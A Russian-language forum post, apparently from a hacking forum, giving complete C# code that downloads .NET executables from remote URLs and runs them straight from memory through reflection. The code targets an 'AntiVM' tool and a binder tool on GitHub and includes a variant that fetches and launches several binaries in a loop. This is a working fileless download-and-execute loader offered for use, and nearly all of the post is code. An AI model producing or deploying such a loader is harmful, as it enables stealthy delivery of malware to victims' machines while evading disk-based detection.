r3xq1
Проверенный
Проверенный
 
 
		
		
	r3xq1
Проверенный
Проверенный
		- Сообщения
- 53
- Реакции
- 29
Сейчас я покажу наглядный пример как средствами C# можно загрузить данные в память и вызвать из памяти что-то, на примере я скачаю файл из интернета прямо в память и запущу его из памяти.
Создадим класс который позволит загружать данные из памяти:
	
	
	
		
Создадим метод для загрузки файла и запуск из памяти: 
	
	
	
		
Вызов в Main 
	
	
	
		
P.S: Загружает только файлы на базе .Net Framework.
Если хотите массово загрузить в память то используйте такой подход:
	
	
	
		
Вот и всё!)
								Создадим класс который позволит загружать данные из памяти:
		C#:
	
	namespace ExeToMemory
{
    using System;
    using System.Reflection;
    using System.Threading;
    public static class MemoryUtils
    {
        public static Thread RunFromMemory(byte[] bytes)
        {
            var thread = new Thread(new ThreadStart(() =>
            {
                try
                {
                    var assembly = Assembly.Load(bytes);
                    MethodInfo method = assembly?.EntryPoint;
                    method?.Invoke(null, null);
                }
                catch (BadImageFormatException) { Console.WriteLine("Native application not support"); }
            }));
            thread?.SetApartmentState(ApartmentState.STA);
            thread?.Start();
            return thread;
        }
    }
}
		C#:
	
	namespace ExeToMemory
{
    using System;
    using System.IO;
    using System.Net;
    public static class Loader
    {
        public static void Inizialize(string url)
        {
            var Link = new Uri(url);
            using (var client = new WebClient())
            {
                Console.WriteLine("Загружаем файл...");
                byte[] data = client.DownloadData(Link);
                Console.WriteLine("Файл загружен");
                if (data != null)
                {
                    Console.WriteLine("Загружаем файл в память");
                    using (var mem = new MemoryStream(data))
                    {
                        byte[] bytes = mem?.ToArray();
                        Console.WriteLine("Запуск файла из памяти.");
                        MemoryUtils.RunFromMemory(bytes).Join();
                    }
                }
            }
        }
    }
}
		C#:
	
	namespace ExeToMemory
{
    using System;
    internal static class Program
    {
        [STAThread]
        public static void Main()
        {
            Console.Title = "Execute Download File From Memory by r3xq1";
      
            Loader.Inizialize("https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe");
            Console.ReadKey();
        }
    }
}Если хотите массово загрузить в память то используйте такой подход:
		C#:
	
	namespace ExeToMemory
{
    using System;
    using System.IO;
    using System.Net;
    public static class Loader
    {
        public static void Init()
        {
            byte[] data = DownloadFile("https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe");
            using (var mem = new MemoryStream(data))
            {
                byte[] bytes = mem?.ToArray();
                MemoryUtils.RunFromMemory(bytes).Join();
            }
        }
        public static void MassInit()
        {
            string[] binary = new string[2]
            {
               "https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe",
               "https://raw.githubusercontent.com/r3xq1/R3BinderNSIS/master/bin/Release/R3BinderTools.exe",
            };
            foreach (string list in binary)
            {
                byte[] data = DownloadFile(list);
                using (var mem = new MemoryStream(data))
                {
                    byte[] bytes = mem?.ToArray();
                    MemoryUtils.RunFromMemory(bytes); // .Join() - для ожидания
                }   
            }
        }
        private static byte[] DownloadFile(string url)
        {
            byte[] result = null;
            if (string.IsNullOrWhiteSpace(url)) return result;
            try
            {
                var Link = new Uri(url);
                using (var webClient = new WebClient())
                {
                    result = webClient.DownloadData(Link);
                }
            }
            catch (WebException) { Console.WriteLine("Not Internet Connected"); }
            return result;
        }
    }
} 
						
					 
	